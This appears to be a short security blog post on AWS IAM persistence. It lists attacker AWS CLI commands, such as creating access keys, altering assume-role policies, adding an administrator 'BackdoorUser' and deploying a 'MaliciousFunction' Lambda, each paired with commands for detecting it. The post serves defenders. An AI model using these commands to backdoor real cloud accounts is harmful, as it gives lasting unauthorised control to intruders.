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Gaining initial access to an AWS account is one thing—staying in is another. Attackers use IAM persistence techniques to keep control, from creating access keys to tweaking assume role policies. This blog breaks down real-world methods seen in cloud breaches so defenders can stay ahead.
You Should Know:
1. Creating Access Keys for Persistence
Attackers often create access keys for IAM users to maintain access even if credentials are rotated.
aws iam create-access-key --user-name <TargetUser>
Defenders can detect this by listing access keys:
aws iam list-access-keys --user-name <TargetUser>
2. Modifying Assume Role Policies
Attackers may modify assume role policies to allow unauthorized roles to assume privileged roles.
aws iam update-assume-role-policy --role-name <TargetRole> --policy-document file://malicious-policy.json
Monitor role policies with:
aws iam get-role-policy --role-name <TargetRole> --policy-name <PolicyName>
3. Creating Backdoor Users
Attackers create new IAM users with elevated permissions.
aws iam create-user --user-name BackdoorUser aws iam attach-user-policy --user-name BackdoorUser --policy-arn arn:aws:iam::aws:policy/AdministratorAccess
Detect new users with:
aws iam list-users
4. Leveraging IAM Roles for Persistence
Attackers may create or modify IAM roles to maintain access.
aws iam create-role --role-name MaliciousRole --assume-role-policy-document file://trust-policy.json
Review roles regularly:
aws iam list-roles
5. Using Lambda Functions for Persistence
Attackers deploy malicious Lambda functions to execute code persistently.
aws lambda create-function --function-name MaliciousFunction --runtime python3.8 --role <MaliciousRoleARN> --handler lambda_function.handler --code S3Bucket=<BucketName>,S3Key=<KeyName>
Monitor Lambda functions:
aws lambda list-functions
What Undercode Say:
AWS IAM persistence techniques are a critical threat to cloud security. Defenders must proactively monitor IAM activities, enforce least privilege, and use tools like AWS CloudTrail to detect suspicious behavior. Regularly audit IAM users, roles, and policies to ensure no backdoors exist. Implementing multi-factor authentication (MFA) and rotating credentials frequently can further mitigate risks.
For more details, visit the original article: AWS IAM Persistence Methods – Hacking The Cloud.
Additional Commands for Defense:
- Enable CloudTrail logging:
aws cloudtrail create-trail --name MyTrail --s3-bucket-name MyBucket
- Check for unusual API calls:
aws cloudtrail lookup-events --lookup-attributes AttributeKey=EventName,AttributeValue=CreateUser
- Enforce MFA for IAM users:
aws iam enable-mfa-device --user-name <UserName> --serial-number <MFASerialNumber> --authentication-code1 <Code1> --authentication-code2 <Code2>
- Rotate access keys:
aws iam update-access-key --access-key-id <KeyID> --status Inactive --user-name <UserName>
Stay vigilant and secure your AWS environment against persistent threats.
References:
Reported By: Hacking The – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
